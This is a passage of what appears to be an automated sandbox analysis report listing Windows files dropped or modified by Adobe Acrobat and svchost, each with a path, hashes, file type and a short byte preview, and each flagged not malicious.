SHA1:	19F2EB7FF123C8D5DAD4B624C44EF3B0A4DC5C16
SHA-256:	55D277198DDFFEB54708560D923EF549860AE2B6A95BD4450BD651B12FE9D690
SHA-512:	E60FD9589BAE3D0F5C656CE55BED08399E9B0A88879E2662976BE6D86103EA804983137BFF9F75D1112289466E1C503DE0FDB72EC7E6DC6ACAB5245CAD9E93C4
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbd004543, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221208415705123
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	C7DFC87E04F21F5727167809DDA193D6
SHA1:	95C68B00E5BAA1FA262545B001CADF455347456D
SHA-256:	C5C4374B01268835663BD465CCFCC222DF6F4311DA41692E5F9729C7CABA4B1F
SHA-512:	E29548B3CF129B907C9EA3B22320BE90622FCFF2F6787349BF043FF6B7D2A665CB352BE50FEC13B43D562E5E195A3410578F2C5670F841CD60F409628A964C99
Malicious:	false
Preview:	..EC... .......A.......X\...;...{......................0.!..........{A.0)...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................sJ..0)...}....................}.0)...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07693789839289306
Encrypted:	false
SSDEEP:	3:jWtWtKYei1JolAjjn13a/y+YotillcVO/lnlZMxZNQl:JtKzsJoKj53qcotGOewk
MD5:	C287391DE5DE83A478993AD29F063281
SHA1:	B4A77FF5EB252EADC7A0C11CAF6FCF096A4CFB8E
SHA-256:	BAEC2FA58DF30CA738F540559014AFCDA080C17CACB717282D6485544163E431
SHA-512:	681712904C0FC2F0C5EE9B87085FE781074291E99B953DB43425E98E320F37CAE1B0442422AFD322FC1530C4665D8968BFE492CA882CD81C50F5AB55840F4FED
Malicious:	false
Preview:	........................................;...{..0)...}.......{A..............{A......{A..........{A]..................}.0)...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.202679868669466
Encrypted:	false
SSDEEP:	6:iO4KjQRt+q2Pwkn2nKuAl9OmbnIFUtSKjAJZmwsKjA9VkwOwkn2nKuAl9OmbjLJ:7zjQivYfHAahFUtlje/HjS5JfHAaSJ
MD5:	73ACDB8A0559E884C8AE3D619DCE3E04
SHA1:	D70A00914C6AB47DA9D8A8C7C74E746D8CFEACE7
SHA-256:	87281C1941D877781702E7414207B267216AAA57236DEC73D76853272985CEDA
SHA-512:	E19B138A27F0D06DDB0F79354CF861CCD39EACDB24E44755F8F2B3EF7729404D4EBC0BB2A300543A81891C1CA4E050362030845014B5659276EAF55D7F5B8AB2
Malicious:	false
Preview:	2025/01/10-12:41:48.259 1f28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:41:48.262 1f28 Recovering log #3.2025/01/10-12:41:48.262 1f28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.202679868669466
Encrypted:	false
SSDEEP:	6:iO4KjQRt+q2Pwkn2nKuAl9OmbnIFUtSKjAJZmwsKjA9VkwOwkn2nKuAl9OmbjLJ:7zjQivYfHAahFUtlje/HjS5JfHAaSJ
MD5:	73ACDB8A0559E884C8AE3D619DCE3E04
SHA1:	D70A00914C6AB47DA9D8A8C7C74E746D8CFEACE7
SHA-256:	87281C1941D877781702E7414207B267216AAA57236DEC73D76853272985CEDA
SHA-512:	E19B138A27F0D06DDB0F79354CF861CCD39EACDB24E44755F8F2B3EF7729404D4EBC0BB2A300543A81891C1CA4E050362030845014B5659276EAF55D7F5B8AB2
Malicious:	false
Preview:	2025/01/10-12:41:48.259 1f28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:41:48.262 1f28 Recovering log #3.2025/01/10-12:41:48.262 1f28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.157287628768321
Encrypted:	false
SSDEEP:	6:iO4KjrOq2Pwkn2nKuAl9Ombzo2jMGIFUtSKj2fzZZmwsKjzkwOwkn2nKuAl9OmbX:7zjyvYfHAa8uFUtljc/Hjz5JfHAa8RJ
MD5:	E7DE83F8F6582A39313C1AB20B89A25F
SHA1:	38D13C9442AD8D0D5D19A9E539637EBF14EEA45C
SHA-256:	69203569334EB9B0F62EA4F02EF3FA219441D576BB80F703A76073E75FE7513B
SHA-512:	8DEC43799DF63A453D63D33E0669953C409F4599DF270903900555722FD0EBBA3895D6378A60E36AE25EF5D66DA16041E3D81AD15E4C39FBEF8269CBA288E1DB
Malicious:	false
Preview:	2025/01/10-12:41:48.284 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:41:48.285 1c24 Recovering log #3.2025/01/10-12:41:48.286 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.157287628768321
Encrypted:	false
SSDEEP:	6:iO4KjrOq2Pwkn2nKuAl9Ombzo2jMGIFUtSKj2fzZZmwsKjzkwOwkn2nKuAl9OmbX:7zjyvYfHAa8uFUtljc/Hjz5JfHAa8RJ
MD5:	E7DE83F8F6582A39313C1AB20B89A25F
SHA1:	38D13C9442AD8D0D5D19A9E539637EBF14EEA45C
SHA-256:	69203569334EB9B0F62EA4F02EF3FA219441D576BB80F703A76073E75FE7513B
SHA-512:	8DEC43799DF63A453D63D33E0669953C409F4599DF270903900555722FD0EBBA3895D6378A60E36AE25EF5D66DA16041E3D81AD15E4C39FBEF8269CBA288E1DB
Malicious:	false
Preview:	2025/01/10-12:41:48.284 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:41:48.285 1c24 Recovering log #3.2025/01/10-12:41:48.286 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8a54df9c-0249-4a8b-96ee-7214ccc859d2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.976226233855251
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqATsBdOg2HGcaq3QYiubInP7E4T3y:Y2sRdsz0dMH53QYhbG7nby
MD5:	367A1336D467B2129DE764970A0C2BCA
SHA1:	B3465B69789310AE317B3CC753004ACA35A0A313
SHA-256:	0D7E820F4A6B424014E1BCE6A259CF4DFFC9D764382504F9FC38C3016BB349C7
SHA-512:	23A21BADF45102700C329A35161380A549B4CAD95499CC5D5DD2771C90008BDDEBBD774007ECA4F08FCC68F6106618F76FC4BFF997CE7D9E0BF35DE45E8A1731
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090920877093","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":187664},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.976226233855251
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqATsBdOg2HGcaq3QYiubInP7E4T3y:Y2sRdsz0dMH53QYhbG7nby
MD5:	367A1336D467B2129DE764970A0C2BCA
SHA1:	B3465B69789310AE317B3CC753004ACA35A0A313
SHA-256:	0D7E820F4A6B424014E1BCE6A259CF4DFFC9D764382504F9FC38C3016BB349C7
SHA-512:	23A21BADF45102700C329A35161380A549B4CAD95499CC5D5DD2771C90008BDDEBBD774007ECA4F08FCC68F6106618F76FC4BFF997CE7D9E0BF35DE45E8A1731
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090920877093","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":187664},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.25466970344568
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7Tr1l5a:etJCV4FiN/jTN/2r8Mta02fEhgO73goA
MD5:	A1CC567F98E44E108A6EEA8EC99B492B
SHA1:	A3701D7D6A8A41B33988FB0D5E79F7084E40C8C8
SHA-256:	CEE9AA1642FD79262AD798B6F1898F65CB281E89E6AF1BFA6F3B8B876E16799B
SHA-512:	FD81E31293A0383D019F6EB4E4ACD8981FBB67753B6FAB4720D6A0246DC9367560CF2C4E86FFBC362B2071C3CA1B164B1A995C27F5ABE6DEF731177F5AAABAC1
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.15832691872253
Encrypted:	false
SSDEEP:	6:iO4KlUT2q2Pwkn2nKuAl9OmbzNMxIFUtSKlUwZZmwsKlUd9kwOwkn2nKuAl9Ombg:7z82vYfHAa8jFUtl1/H85JfHAa84J
MD5:	BBDC772F5931C087EF4B7762ED6E7E5E
SHA1:	688C0DC18C6AE63268987C547B3E0341FC8E7CC4
SHA-256:	2405125F78B854EDAA16D704DD1FDCCC8C27609F07E91C0FA193C0DDCF5A0300
SHA-512:	3C2192BC8FFCA60010C2A5B4F28A75A5FFD6A416569BF29CA5821F287D7C33DF7A3D8FBD261BB05D14C0593D027CB20EE337042C58F066322D9EC30DB1348DE0
Malicious:	false
Preview:	2025/01/10-12:41:48.416 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:41:48.417 1c24 Recovering log #3.2025/01/10-12:41:48.418 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.15832691872253
Encrypted:	false
SSDEEP:	6:iO4KlUT2q2Pwkn2nKuAl9OmbzNMxIFUtSKlUwZZmwsKlUd9kwOwkn2nKuAl9Ombg:7z82vYfHAa8jFUtl1/H85JfHAa84J
MD5:	BBDC772F5931C087EF4B7762ED6E7E5E
SHA1:	688C0DC18C6AE63268987C547B3E0341FC8E7CC4
SHA-256:	2405125F78B854EDAA16D704DD1FDCCC8C27609F07E91C0FA193C0DDCF5A0300
SHA-512:	3C2192BC8FFCA60010C2A5B4F28A75A5FFD6A416569BF29CA5821F287D7C33DF7A3D8FBD261BB05D14C0593D027CB20EE337042C58F066322D9EC30DB1348DE0
Malicious:	false
Preview:	2025/01/10-12:41:48.416 1c24 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:41:48.417 1c24 Recovering log #3.2025/01/10-12:41:48.418 1c24 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444639475304457
Encrypted:	false
SSDEEP:	384:SeOci5tOiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:6hs3OazzU89UTTgUL
MD5:	08FE94CA1968CF79C3D44691CBF6F78B
SHA1:	15321B74F175AE26BFA89FFDBB81525FD26579D0
SHA-256:	E4E038DD7FAA9238B402509CF2D08C308BC4DD3F58D2C62AE0D686FCA0ED5938
SHA-512:	9B81B4EB970251703C9F4A4F220C853AB52B85BA70FFCE3026F08063C7B2FB47455BBE84E939A116D9C6B66A000181741FCFAB76A11FB7B0F20ADE590B24B1A3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2123826241315
Encrypted:	false
SSDEEP:	24:7+tCYnuwKTqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MR:7MtnCTqvmFTIF3XmHjBoGGR+jMz+Lhw
MD5:	6EAF35D20FA68A173723CA2FB5A7AA0B
SHA1:	761FC514B86B6F21BA4798E2DD0D6227B692FB5D
SHA-256:	8D794759E35FE3B85979D0187FCE545B3E7E32A6C6CC5B35182D786986510A2B
SHA-512:	548D6BA5321E63D36C8AAD341415C75CDE7D96602A847D82A0BCF1EFBF7F0003A297C3BF9A49A99599C2285A8FDF0A8695B3F8FBDA96CAB16B5FB096A2F53661
Malicious:	false
Preview:	.... .c......=..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklnpeR6bPtfllXlE/HT8kihvNNX8RolJuRdxLlGB9lQRYwpDdt:kKZROPeT8LNMa8RdWBwRd
MD5:	051B06F3E608544BBFD38CA97D228846
SHA1:	33F824A7E22DBEFFB52644871D22936E680A0CC4
SHA-256:	9CFB14092E2ECFDF8D229D393F8667F152F98C5DABFC627B64C0A3D464C5CC43
SHA-512:	D0019B7F3AB07A357957FCCCCF3C6211210A51D09A0494E1A9386915444D5A5FA8F14C67CA9E22789766FCB388C88EAB963799D794B00FAE19ED99D8C6D2786D
Malicious:	false
Preview:	p...... .........L;.c..(....................................................... ..........W....;...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7828

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7828

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
